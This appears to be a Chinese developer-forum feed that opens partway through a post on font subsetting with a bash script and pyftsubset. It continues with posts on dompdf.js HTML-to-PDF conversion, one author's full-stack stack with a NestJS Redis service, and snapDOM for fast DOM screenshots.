UPDATE_TOOL="./updateLists"

# 确保输出目录存在
if [ ! -d "$OUT_DIR" ]; then
echo "创建输出目录: $OUT_DIR"
mkdir -p "$OUT_DIR"
fi

# ================= 第一步:更新字符表 =================
echo "========================================"
echo ">> [1/3] 正在更新字符列表..."
if [ -x "$UPDATE_TOOL" ]; then
$UPDATE_TOOL
else
echo "错误: 找不到可执行文件 $UPDATE_TOOL 或者没有执行权限。"
echo "请尝试运行: chmod +x updateLists"
exit 1
fi
# 检查 char_set.txt 是否成功生成
if [ ! -f "$CHAR_LIST" ]; then
echo "错误: $CHAR_LIST 未找到,字符表更新可能失败。"
exit 1
fi
echo "字符列表更新完成。"
# ================= 定义子集化处理函数 =================
process_font() {
local font_name="$1" # 例如: NotoSerifSC-Regular
local input_ttf="$SRC_DIR/${font_name}.ttf"
local final_woff2="$OUT_DIR/${font_name}.woff2"
local temp_woff2="$OUT_DIR/${font_name}.temp.woff2"

echo "----------------------------------------"
echo "正在处理字体: $font_name"
# 检查源文件是否存在
if [ ! -f "$input_ttf" ]; then
echo "错误: 源文件 $input_ttf 不存在!"
exit 1
fi

# 2. 调用 fonttools (pyftsubset) 生成临时子集文件
# 使用 --obfuscate-names 可以进一步减小体积,但这里只用基础参数以保证稳定性
echo "正在生成子集 (TTF -> WOFF2)..."
pyftsubset "$input_ttf" \
--flavor=woff2 \
--text-file="$CHAR_LIST" \
--output-file="$temp_woff2"
# 3. & 4. 删除旧文件并重命名 (更新逻辑)
if [ -f "$temp_woff2" ]; then
if [ -f "$final_woff2" ]; then
echo "删除旧文件: $final_woff2"
rm "$final_woff2"
fi

echo "重命名新文件: $temp_woff2 -> $final_woff2"
mv "$temp_woff2" "$final_woff2"
echo ">>> $font_name 更新成功!"
else
echo "错误: 子集化失败,未生成目标文件。"
exit 1
fi
}
# ================= 第二步 & 第三步:执行转换 =================
echo "========================================"
echo ">> [2/3] 开始字体子集化处理..."
# 处理 Regular 字体
process_font "NotoSerifSC-Regular"
# 处理 Bold 字体
process_font "NotoSerifSC-Bold"
echo "========================================"
echo ">> [3/3] 所有任务圆满完成!"

如此一来,以后每次更新完文章,都只需要在终端输入./build_fonts.sh就可以完成字符提取、字体包子集化、清除旧字体包文件的过程了。

font-pic-5.png

一点感想

在这之前另外讲个小故事,我尝试更换字体之前发现自定义的字体样式根本没有用,后来检查了很久,发现竟然是2个月前AI在我代码里加的一句font-family:'Noto Serif SC',而刚好他修改的又是优先级最高的文件,所以后面怎么修改字体都没有用。所以有时候让AI写代码前最好先搞清除代码的地位i,并且做好为AI代码后果负全责的准备。

更改网站字体其实很多时候属于锦上添花的事情,因为很多读者其实并不会太在意网站的字体。但不幸的是我对细节比较在意,或者说有种敝帚自珍的感觉吧,想慢慢地把网站装饰得舒适一些,所以才总是花力气在一些细枝末节的事情上。更何况,我是懂一点点设计的,有时候看见一些非常丑的Interface心里是很难受的。尽管就像绝大部分人理解不了设计师在细节上的别有用心一样,绝大部分人也不会在意一个网站的字体如何,但是我自己的家,我想装饰地好看些,对我来说就满足了。

更不要说,如果不去折腾这些东西,怎么可能会有这篇文章呢?如果能够帮助到一些人,也算是在世界留下一点价值了。

参考资料及附录

  1. 参考资料

    a. 网页中文字体加载速度优化

    b. 缩减网页字体大小

    c. All-Chinese-Character-Set

  2. 让Gemini生成代码时的Prompt:
---Prompt 1---
# 任务名称:创建脚本实现对字符的收集
请利用C++来完成一下任务要求:
1. 该脚本能够读取项目目录下的markdown文件,并且能够识别当中所有的中文字符,将该中文字符与`/char_test/GeneralUsedChars.txt`的字符表进行查重比较:
若该字在表中存在,则跳过,处理下一个字;
若不存在,则将该字添加到表中,然后继续处理下一个字符
2. 请设计一个高效的算法,尤其是在字符查重的过程中,你需要设计一个高效且准确率高的算法
3. 请注意脚本的通用性,你需要考虑到这个项目以后可能会继续增加更多的markdown文件,所以你不应该仅仅只是处理现有的markdown文件,还需要考虑到以后的拓展性
4. 如果可以的话,尽可能使用C++来实现,因为效率更高

---Prompt 2---
可以了,现在我要求你编写一个脚本以实现自动化,要求如下:
1. 脚本运行时,首先会调用项目根目录下的updateLists可执行文件,更新char_set.txt
2. 接着,脚本会调用fonttools工具,对路径在`/FontRepo/`下的两个文件进行ttf到woff2的子集化转化,其中这两个字体文件的名字分别为`NotoSerifSC-Regular.ttf`和`NotoSerifSC-Bold.ttf`。
3. 转化好的子集文件应该输出到 `/assets/fonts/noto-serif-sc/`文件夹下。
4. 将`/assets/fonts/noto-serif-sc/`文件夹下原本已经存在的两个字体文件`NotoSerifSC-Bold.woff2`和`NotoSerifSC-Regular.woff2`删除,然后将新得到子集化文件重新命名为这两个删除了的文件的名字。这一步相当于完成了字体文件的更新

请注意文件的命名,尤其是不要搞错字号,新子集文件和旧子集文件。
请注意在子集化步骤的bash命令,环境已经安装好fonttools及其对应依赖,你可以参考下面这个命令来使用,或者使用更好更稳定的用法:
pyftsubset --flavor=woff2 --text-file= --output-file=
(再次注意输出路径)
  1. 最终实践效果(以NotoSerifSC-Bold为例)
    处理方式字体包体积压缩率
    无处理14.462M0%
    格式转化5.776M60.06%
    子集化处理981K93.21%
    分包处理依据动态加载量而定
    我的实践216K98.5%


作者:ChangYo
来源:juejin.cn/post/7578699866181238822
收起阅读 »

一个AI都无法提供的html转PDF方案

web
这也许就是AI无法代替人的原因,只需一行代码就可以实现纯前端 html 转矢量 pdf 的功能 // 引入 dompdf.js库 import dompdf from "dompdf.js"; dompdf(document.querySelector("#...
继续阅读 »

这也许就是AI无法代替人的原因,只需一行代码就可以实现纯前端 html 转矢量 pdf 的功能


// 引入 dompdf.js库
import dompdf from "dompdf.js";

dompdf(document.querySelector("#capture")).then(function (blob) {
//文件操作
});

实现效果(复杂表格)


企业微信截图_20251011152750.png


1. 在线体验



dompdfjs.lisky.com.cn



2. Git 仓库地址 (欢迎 Star⭐⭐⭐)



github.com/lmn1919/dom…



3. 生成 PDF


在前端生态里,把网页内容生成 PDF 一直是一个常见但不简单的需求。从报表导出、小票生成、合同下载到打印排版,很多项目或多或少都会遇到。市面上常见的方案大致有以下几类:



  • 服务端渲染 PDF(后端库如 wkhtmltopdf、PrinceXML 等)

  • 客户端将 HTML 渲染为图片(如 html2canvas + jsPDF)然后再封装为 PDF

  • 前端调用相关 pdf 生成库来生成 PDF(如 pdfmake,jspdf,pdfkit)


但是这些方案都有各自的局限性,



  • 比如服务端渲染 PDF 对服务器资源要求高,需要后端参与。

  • html2canvas + jsPDF 需要将 html 内容渲染为图片,再将图片封装为 PDF,速度会比较慢,而且生成体积会比较大,内容会模糊,限制于 canvas 生成高度,不能生成超过 canvas 高度的内容。

  • 而前端调用相关 pdf 生成库来生成 PDF 则需要对相关库有一定的了解,api 比较复杂,学习使用成本很高。


使用 jspdf 生成如图简单的 pdf


企业微信截图_20251011173729.png


就需要如此复杂的代码,如果要生成复杂的 pdf, 比如包含表格、图片、图表等内容,那使用成本就更高了。


function generateChinesePDF() {
// Check if jsPDF is loaded
if (typeof window.jspdf === "undefined") {
alert("jsPDF library has not finished loading, please try again later");
return;
}

const { jsPDF } = window.jspdf;
const doc = new jsPDF();

// Note: Default jsPDF does not support Chinese, this is just a demo
// In real projects you need to add Chinese font support

doc.setFontSize(16);
doc.text("Chinese Text Support Demo", 20, 30);

doc.setFontSize(12);
doc.text("Note: Default jsPDF does not support Chinese characters.", 20, 50);
doc.text("You need to add Chinese font support for proper display.", 20, 70);

// Draw some graphics for demonstration
doc.setFillColor(255, 182, 193);
doc.rect(20, 90, 60, 30, "F");
doc.setTextColor(0, 0, 0);
doc.text("Pink Rectangle", 25, 108);

doc.setFillColor(173, 216, 230);
doc.rect(100, 90, 60, 30, "F");
doc.text("Light Blue Rectangle", 105, 108);

doc.save("chinese-example.pdf");
}

但是现在,有了 dompdf.js,你只需要一行代码,就可以完成比这个复杂 10 倍的 PDF 生成任务,html页面所见即所得,可以将复杂的css样式转化成pdf


dompdf(document.querySelector("#capture")).then(function (blob) {
//文件操作
});

而且,dompdf.js 生成的 PDF 是矢量的,非图片式的,高清晰度的,文字可以选中、复制、搜索等操作(在支持的 PDF 阅读器环境下),区别于客户端将 HTML 渲染为图片(如 html2canvas + jsPDF)然后再封装为 PDF。



具体可以去体验 立即体验 https://dompdfjs.lisky.com.cn



4. dompdf.js 是如何实现的?


其实 dompdf.js 也是基于 html2canvas+jspdf 实现的,但是为什么 dompdf.js 生成的 pdf 文件可以二次编辑,更清晰,体积小呢?


不同于普通的 html2canvas + jsPDF 方案,将 dom 内容生成为图片,再将图片内容用 jspdf 绘制到 pdf 上,这就导致了生成的 pdf 文件体积大,无法编辑,放大后会模糊。


html2canvas 原理简介


1. DOM 树遍历
html2canvas 从指定的 DOM 节点开始,递归遍历所有子节点,构建一个描述页面结构的内部渲染队列。


2. 样式计算
对每个节点调用 window.getComputedStyle() 获取最终的 CSS 属性值。这一步至关重要,因为它包含了所有 CSS 规则(内联、内部、外部样式表)层叠计算后的最终结果。


3. 渲染模型构建
将每个 DOM 节点和其计算样式封装成渲染对象,包含绘制所需的完整信息:位置(top, left)、尺寸(width, height)、背景、边框、文本内容、字体属性、层级关系(z-index)等。


4. Canvas 上下文创建
在内存中创建 canvas 元素,获取其 2D 渲染上下文(CanvasRenderingContext2D)。


5. 浏览器绘制模拟
按照 DOM 的堆叠顺序和布局规则,遍历渲染队列,将每个元素绘制到 Canvas 上。这个过程实质上是将 CSS 属性"翻译"成对应的绘制 API 调用:


CSS 属性传统 Canvas APIdompdf.js 中的 jsPDF API
background-colorctx.fillStyle + ctx.fillRect()doc.setFillColor() + doc.rect(x, y, w, h, 'F')
borderctx.strokeStyle + ctx.strokeRect()doc.setDrawColor() + doc.rect(x, y, w, h, 'S')
color, font-family, font-sizectx.fillStyle, ctx.font + ctx.fillText()doc.setTextColor() + doc.setFont() + doc.text()
border-radiusarcTo()bezierCurveTo() 创建剪切路径doc.roundedRect()doc.lines() 绘制圆角
imagectx.drawImage()doc.addImage()

核心创新:API 替换,底层是封装了 jsPDF 的 API
dompdf.js 的关键突破在于改造了 html2canvas 的 canvas-renderer.ts 文件,将原本输出到 Canvas 的绘制 API 替换为 jsPDF 的 API 调用。这样就实现了从 DOM 直接到 PDF 的转换,生成真正可编辑、可搜索的 PDF 文件,而不是传统的图片格式。


目前实现的功能


1. 文字绘制 (颜色,大小)
2. 图片绘制 (支持 jpeg, png 等格式)
3. 背景,背景颜色 (支持合并单元格)
4. 边框,复杂表格绘制 (支持合并单元格)
5. canvas (支持多种图表类型)
6. svg (支持 svg 元素绘制)
7. 阴影渲染 (使用 foreignObjectRendering,支持边框阴影渲染)
8. 渐变渲染 (使用 foreignObjectRendering,支持背景渐变渲染)


7.使用


安装


        npm install dompdf.js --save

CDN 引入


<script src="https://cdn.jsdelivr.net/npm/dompdf.js@latest/dist/dompdf.js"></script>

基础用法


import dompdf from "dompdf.js";
dompdf(document.querySelector("#capture"), {
useCORS: true, //是否允许跨域
})
.then(function (blob) {
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = "example.pdf";
document.body.appendChild(a);
a.click();
})
.catch(function (err) {
console.log(err, "err");
});

写在最后


dompdf.js 让前端 PDF 生成变得前所未有的简单:无需后端、无需繁琐配置、一行代码即可输出矢量、可检索、可复制的专业文档。无论是简历、报告还是发票,它都能轻松胜任。 欢迎在你的项目中使用它 。


如果它帮到了你,欢迎去 github.com/lmn1919/dom… 点个 Star,提优化,共建项目。


作者:刘发财
来源:juejin.cn/post/7559886023661649958
收起阅读 »

从前端的角度出发,目前最具性价比的全栈路线是啥❓❓❓

web
我正在筹备一套前端工程化体系的实战课程。如果你在学习前端的过程中感到方向模糊、技术杂乱无章,那么前端工程化将是你实现系统进阶的最佳路径。它不仅能帮你建立起对现代前端开发的整体认知,还能提升你在项目开发、协作规范、性能优化等方面的工程能力。 ✅ 本课程覆盖构建工...
继续阅读 »

我正在筹备一套前端工程化体系的实战课程。如果你在学习前端的过程中感到方向模糊、技术杂乱无章,那么前端工程化将是你实现系统进阶的最佳路径。它不仅能帮你建立起对现代前端开发的整体认知,还能提升你在项目开发、协作规范、性能优化等方面的工程能力。


✅ 本课程覆盖构建工具测试体系脚手架CI/CDDockerNginx 等核心模块,内容体系完整,贯穿从开发到上线的全流程。每一章节都配有贴近真实场景的企业级实战案例,帮助你边学边用,真正掌握现代团队所需的工程化能力,实现从 CRUD 开发者到工程型前端的跃迁。


详情请看前端工程化实战课程


学完本课程,对你的简历和具体的工作能力都会有非常大的提升。如果你对此项目感兴趣,或者课程感兴趣,可以私聊我微信 yunmz777


今年大部分时间都是在编码上和写文章上,但是也不知道自己都学到了啥,那就写篇文章来盘点一下目前的技术栈吧,也作为下一年的参考目标,方便知道每一年都学了些啥。


20241223154451


我的技术栈


首先我先来对整体的技术做一个简单的介绍吧,然后后面再对当前的一些技术进行细分吧。


React、Typescript、React Native、mysql、prisma、NestJs、Redis、前端工程化。


React


React 这个框架我花的时间应该是比较多的了,在校期间已经读了一遍源码了,对这些原理已经基本了解了。在随着技术的继续深入,今年毕业后又重新开始阅读了一遍源码,对之前的认知有了更深一步的了解。


也写了比较多跟 React 相关的文章,包括设计模式,原理,配套生态的使用等等都有一些涉及。


在状态管理方面,redux,zustand 我都用过,尤其在 Zustand 的使用上,我特别喜欢 Zustand,它使得我能够快速实现全局状态管理,同时避免了传统 Redux 中繁琐的样板代码,且性能更优。也对 Zustand 有比较深入的了解,也对其源码有过研究。


NextJs


Next.js 是一个基于 React 的现代 Web 开发框架,它为开发者提供了一系列强大的功能和工具,旨在优化应用的性能、提高开发效率,并简化部署流程。Next.js 支持多种渲染模式,包括服务器端渲染(SSR)、静态生成(SSG)和增量静态生成(ISR),使得开发者可以根据不同的需求选择合适的渲染方式,从而在提升页面加载速度的同时优化 SEO。


在路由管理方面,Next.js 采用了基于文件系统的路由机制,这意味着开发者只需通过创建文件和文件夹来自动生成页面路由,无需手动配置。这种约定优于配置的方式让路由管理变得直观且高效。此外,Next.js 提供了动态路由支持,使得开发者可以轻松实现复杂的 URL 结构和参数化路径。


Next.js 还内置了 API 路由,允许开发者在同一个项目中编写后端 API,而无需独立配置服务器。通过这种方式,前后端开发可以在同一个代码库中协作,大大简化了全栈开发流程。同时,Next.js 对 TypeScript 提供了原生支持,帮助开发者提高代码的可维护性和可靠性。


Typescript


今年所有的项目都是在用 ts 写了,真的要频繁修改的项目就知道用 ts 好处了,有时候用 js 写的函数修改了都不知道怎么回事,而用了 ts 之后,哪里引用到的都报红了,修改真的非常方便。


今年花了一点时间深入学习了一下 Ts 类型,对一些高级类型以及其实现原理也基本知道了,明年还是多花点时间在类型体操上,除了算法之外,感觉类型体操也可以算得上是前端程序员的内功心法了。


React Native



不得不说,React Native 不愧是接活神器啊,刚学完之后就来了个安卓和 ios 的私活,虽然没有谈成。



React Native 和 Expo 是构建跨平台移动应用的两大热门工具,它们都基于 React,但在功能、开发体验和配置方式上存在一些差异。React Native 是一个开放源代码的框架,允许开发者使用 JavaScript 和 React 来构建 iOS 和 Android 原生应用。Expo 则是一个构建在 React Native 之上的开发平台,它提供了一套工具和服务,旨在简化 React Native 开发过程。


React Native 的核心优势在于其高效的跨平台开发能力。通过使用 React 语法和组件,开发者能够一次编写应用的 UI 和逻辑,然后部署到 iOS 和 Android 平台。React Native 提供了对原生模块的访问,使开发者能够使用原生 API 来扩展应用的功能,确保性能和用户体验能够接近原生应用。


Expo 在此基础上进一步简化了开发流程。作为一个开发工具,Expo 提供了许多内置的 API 和组件,使得开发者无需在项目中进行繁琐的原生模块配置,就能够快速实现设备的硬件访问功能(如摄像头、位置、推送通知等)。Expo 还内置了一个开发客户端,使得开发者可以实时预览应用,无需每次都进行完整的构建和部署。


另外,Expo 提供了一个完全托管的构建服务,开发者只需将应用推送到 Expo 服务器,Expo 就会自动处理 iOS 和 Android 应用的构建和发布。这大大简化了应用的构建和发布流程,尤其适合不想处理复杂原生配置的开发者。


然而,React Native 和 Expo 也有各自的局限性。React Native 提供更大的灵活性和自由度,开发者可以更自由地集成原生代码或使用第三方原生库,但这也意味着需要更多的配置和维护。Expo 则封装了很多功能,简化了开发,但在需要使用某些特定原生功能时,开发者可能需要“弹出”Expo 的托管环境,进行额外的原生开发。


样式方案的话我使用的是 twrnc,大部分组件都是手撸,因为有 cursor 和 chatgpt 的加持,开发效果还是杠杠的。


rn 原理也争取明年能多花点时间去研究研究,不然对着盲盒开发还是不好玩。


Nestjs


NestJs 的话没啥好说的,之前也都写过很多篇文章了,感兴趣的可以直接观看:



对 Nodejs 的底层也有了比较深的理解了:



Prisma & mysql


Prisma 是一个现代化的 ORM(对象关系映射)工具,旨在简化数据库操作并提高开发效率。它支持 MySQL 等关系型数据库,并为 Node.js 提供了类型安全的数据库客户端。在 NestJS 中使用 Prisma,可以让开发者轻松定义数据库模型,并通过自动生成的 Prisma Client 执行类型安全的查询操作。与 MySQL 配合时,Prisma 提供了一种简单、直观的方式来操作数据库,而无需手动编写复杂的 SQL 查询。


Prisma 的核心优势在于其强大的类型安全功能,所有的数据库操作都能通过 Prisma Client 提供的自动生成的类型来进行,这大大减少了代码中的错误,提升了开发的效率。它还包含数据库迁移工具 Prisma Migrate,能够帮助开发者方便地管理数据库结构的变化。此外,Prisma Client 的查询 API 具有很好的性能,能够高效地执行复杂的数据库查询,支持包括关系查询、聚合查询等高级功能。


与传统的 ORM 相比,Prisma 使得数据库交互更加简洁且高效,减少了配置和手动操作的复杂性,特别适合在 NestJS 项目中使用,能够与 NestJS 提供的依赖注入和模块化架构很好地结合,提升整体开发体验。


Redis


Redis 和 mysql 都仅仅是会用的阶段,目前都是直接在 NestJs 项目中使用,都是已经封装好了的,直接传参调用就好了:


import { Injectable, Inject, OnModuleDestroy, Logger } from "@nestjs/common";
import Redis, { ClientContext, Result } from "ioredis";

import { ObjectType } from "../types";

import { isObject } from "@/utils";

@Injectable()
export class RedisService implements OnModuleDestroy {
private readonly logger = new Logger(RedisService.name);

constructor(@Inject("REDIS_CLIENT") private readonly redisClient: Redis) {}

onModuleDestroy(): void {
this.redisClient.disconnect();
}

/**
* @Description: 设置值到redis中
* @param {string} key
* @param {any} value
* @return {*}
*/

public async set(
key: string,
value: unknown,
second?: number
): Promise<Result<"OK", ClientContext> | null> {
try {
const formattedValue = isObject(value)
? JSON.stringify(value)
: String(value);

if (!second) {
return await this.redisClient.set(key, formattedValue);
} else {
return await this.redisClient.set(key, formattedValue, "EX", second);
}
} catch (error) {
this.logger.error(`Error setting key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 获取redis缓存中的值
* @param key {String}
*/

public async get(key: string): Promise<string | null> {
try {
const data = await this.redisClient.get(key);

return data ? data : null;
} catch (error) {
this.logger.error(`Error getting key ${key} from Redis`, error);

return null;
}
}

/**
* @Description: 设置自动 +1
* @param {string} key
* @return {*}
*/

public async incr(
key: string
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.incr(key);
} catch (error) {
this.logger.error(`Error incrementing key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 删除redis缓存数据
* @param {string} key
* @return {*}
*/

public async del(key: string): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.del(key);
} catch (error) {
this.logger.error(`Error deleting key ${key} from Redis`, error);

return null;
}
}

/**
* @Description: 设置hash结构
* @param {string} key
* @param {ObjectType} field
* @return {*}
*/

public async hset(
key: string,
field: ObjectType
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.hset(key, field);
} catch (error) {
this.logger.error(`Error setting hash for key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 获取单个hash值
* @param {string} key
* @param {string} field
* @return {*}
*/

public async hget(key: string, field: string): Promise<string | null> {
try {
return await this.redisClient.hget(key, field);
} catch (error) {
this.logger.error(
`Error getting hash field ${field} from key ${key} in Redis`,
error
);

return null;
}
}

/**
* @Description: 获取所有hash值
* @param {string} key
* @return {*}
*/

public async hgetall(key: string): Promise<Record<string, string> | null> {
try {
return await this.redisClient.hgetall(key);
} catch (error) {
this.logger.error(
`Error getting all hash fields from key ${key} in Redis`,
error
);

return null;
}
}

/**
* @Description: 清空redis缓存
* @return {*}
*/

public async flushall(): Promise<Result<"OK", ClientContext> | null> {
try {
return await this.redisClient.flushall();
} catch (error) {
this.logger.error("Error flushing all Redis data", error);

return null;
}
}

/**
* @Description: 保存离线通知
* @param {string} userId
* @param {any} notification
*/

public async saveOfflineNotification(
userId: string,
notification: any
): Promise<void> {
try {
await this.redisClient.lpush(
`offline_notifications:${userId}`,
JSON.stringify(notification)
);
} catch (error) {
this.logger.error(
`Error saving offline notification for user ${userId}`,
error
);
}
}

/**
* @Description: 获取离线通知
* @param {string} userId
* @return {*}
*/

public async getOfflineNotifications(userId: string): Promise<any[]> {
try {
const notifications = await this.redisClient.lrange(
`offline_notifications:${userId}`,
0,
-1
);
await this.redisClient.del(`offline_notifications:${userId}`);

return notifications.map((notification) => JSON.parse(notification));
} catch (error) {
this.logger.error(
`Error getting offline notifications for user ${userId}`,
error
);

return [];
}
}

/**
* 获取指定 key 的剩余生存时间
* @param key Redis key
* @returns 剩余生存时间(秒)
*/

public async getTTL(key: string): Promise<number> {
return await this.redisClient.ttl(key);
}
}

前端工程化


前端工程化这块花了很多信息在 eslint、prettier、husky、commitlint、github action 上,现在很多项目都是直接复制之前写好的过来就直接用。


后续应该是投入更多的时间在性能优化、埋点、自动化部署上了,如果有机会的也去研究一下 k8s 了。


全栈性价比最高的一套技术


最近刷到一个帖子,讲到了


20241223165138


我目前也算是一个小全栈了吧,我也来分享一下我的技术吧:



  1. NextJs

  2. React Native

  3. prisma

  4. NestJs

  5. taro (目前还不会,如果有需求就会去学)


剩下的描述也是和他下面那句话一样了(毕业后对技术态度的转变就是什么能让我投入最小,让我最快赚到钱的就是好技术)


总结


学无止境,任重道远。


最后再来提一下这两个开源项目,它们都是我们目前正在维护的开源项目:



如果你想参与进来开发或者想进群学习,可以添加我微信 yunmz777,后面还会有很多需求,等这个项目完成之后还会有很多新的并且很有趣的开源项目等着你。


作者:Moment
来源:juejin.cn/post/7451483063568154639
收起阅读 »

还在用html2canvas?介绍一个比它快100倍的截图神器!

web
在日常业务开发里,DOM 截图 几乎是刚需场景。 无论是生成分享卡片、导出报表,还是保存一段精美排版内容,前端同学都绕不开它。 但问题来了——市面上的截图工具,比如 html2canvas,虽然用得多,却有一个致命缺陷:慢! 普通截图动辄 1 秒以上,大一点的...
继续阅读 »

在日常业务开发里,DOM 截图 几乎是刚需场景。


无论是生成分享卡片、导出报表,还是保存一段精美排版内容,前端同学都绕不开它。


但问题来了——市面上的截图工具,比如 html2canvas,虽然用得多,却有一个致命缺陷:慢!
普通截图动辄 1 秒以上,大一点的 DOM,甚至能直接卡到怀疑人生,用户体验一言难尽。


大家好,我是芝士,欢迎点此扫码加我微信 Hunyi32 交流,最近创建了一个低代码/前端工程化交流群,欢迎加我微信 Hunyi32 进群一起交流学习,也可关注我的公众号[ 前端界 ] 持续更新优质技术文章


最近发现一个保存速度惊艳到我的库snapDOM


这货在性能上的表现,完全可以用“碾压”来形容:



  • 👉 相比 html2canvas,快 32 ~ 133 倍

  • 👉 相比 modern-screenshot,也快 2 ~ 93 倍



以下是官方基本测试数据:


场景snapDOM vs html2canvassnapDOM vs dom-to-image
小元素 (200×100)32 倍6 倍
模态框 (400×300)33 倍7 倍
整页截图 (1200×800)35 倍13 倍
大滚动区域 (2000×1500)69 倍38 倍
超大元素 (4000×2000)93 倍 🔥133 倍

📊 数据来源:snapDOM 官方 benchmark(基于 headless Chromium 实测)。


⚡ 为什么它这么快?


二者的实现原理不同


html2canvas 的实现方式



  • 原理:
    通过遍历 DOM,把每个节点的样式(宽高、字体、背景、阴影、图片等)计算出来,然后在 <canvas> 上用 Canvas API 重绘一遍。

  • 特点:



    • 需要完整计算 CSS 样式 → 排版 → 绘制。

    • 复杂 DOM 时计算量极大,比如渐变、阴影、字体渲染都会消耗 CPU。

    • 整个过程基本是 模拟浏览器的渲染引擎,属于“重造轮子”。




所以一旦 DOM 大、样式复杂,html2canvas 很容易出现 1s+ 延迟甚至卡死。


snapDOM 的实现方式


原理:利用浏览器 原生渲染能力,而不是自己模拟


snapDOM 的 captureDOM 并不是自己用 Canvas API 去一笔一笔绘制 DOM(像 html2canvas 那样),而是:



  1. 复制 DOM 节点(prepareClone)



    • → 生成一个“克隆版”的 DOM,里面包含了样式、结构。



  2. 把图片、背景、字体都转成 inline(base64 / dataURL)



    • → 确保克隆 DOM 是完全自包含的。



  3. <foreignObject> 包在 SVG 里面



    • → 浏览器原生支持直接渲染 HTML 片段到 SVG → 再转成 dataURL。




所以核心就是:
👉 利用浏览器自己的渲染引擎(SVG foreignObject)来排版和绘制,而不是 JS 重造渲染过程


如何使用 snapDOM


snapDOM 上手非常简单, 学习成本比较低。


1. 安装


通过npm 安装:


npm install @zumer/snapdom

或者直接用 CDN 引入:


<script src="https://cdn.jsdelivr.net/npm/@zumer/snapdom/dist/snapdom.min.js"></script>

2. 基础用法


只需要一行代码,就能把 DOM 节点“变”成图片:


// 选择你要截图的 DOM 元素
const target = document.querySelector('.card');

// 导出为 PNG 图片
const image = await snapdom.toPng(target);

// 直接添加到页面
document.body.appendChild(image);


3. 更多导出方式


除了 PNG,snapDOM 还支持多种输出格式:


// 导出为 JPEG
const jpeg = await snapdom.toJpeg(target);

// 导出为 SVG
const svg = await snapdom.toSvg(target);

// 直接保存为文件
await snapdom.download(target, { format: 'png', filename: 'screenshot.png' });

4. 导出一个这样的海报图



开发中生成海报并保存到, 是非常常见的需求,以前使用html2canvas,也要写不少代码, 还要处理图片失真等问题, 使用snapDOM,真的一行代码能搞定。


 <div ref="posterRef" class="poster">
....
</div>

<script setup lang="ts">
const downloadPoster = async () => {
if (!posterRef.value) {
alert("海报元素未找到");
return;
}

try {
// snapdom 是 UMD 格式,通过全局 window.snapdom 访问
const snap = (window as any).snapdom;
if (!snap) {
alert("snapdom 库未加载,请刷新页面重试");
return;
}
await snap.download(posterRef.value, {
format: "png",
filename: `tech-poster-${Date.now()}`
});


} catch (error) {
console.error("海报生成失败:", error);
alert("海报生成失败,请重试");
}
};
</script>

相比传统方案需要大量配置和兼容性处理,snapDOM 真正做到了 一行代码,极速生成。无论是分享卡片、营销海报还是报表导出,都能轻松搞定。


await snap.download(posterRef.value, {
format: "png",
filename: `tech-poster-${Date.now()}`
});

大家好,我是芝士,欢迎点此扫码加我微信 Hunyi32 交流,最近创建了一个低代码/前端工程化交流群,欢迎加我微信 Hunyi32 进群一起交流学习,也可关注我的公众号[ 前端界 ] 持续更新优质技术文章


总结


在前端开发里,DOM 截图是一个常见但“让人头疼”的需求。



  • html2canvas 代表的传统方案,虽然功能强大,但性能和体验常常拖后腿;

  • 而 snapDOM 借助浏览器原生渲染能力,让截图变得又快又稳。


一句话:
👉 如果你还在为截图慢、卡顿、模糊烦恼,不妨试试 snapDOM —— 可能会刷新你对前端截图的认知。 🚀


作者:芝士加
来源:juejin.cn/post/7542379658522116123
收起阅读 »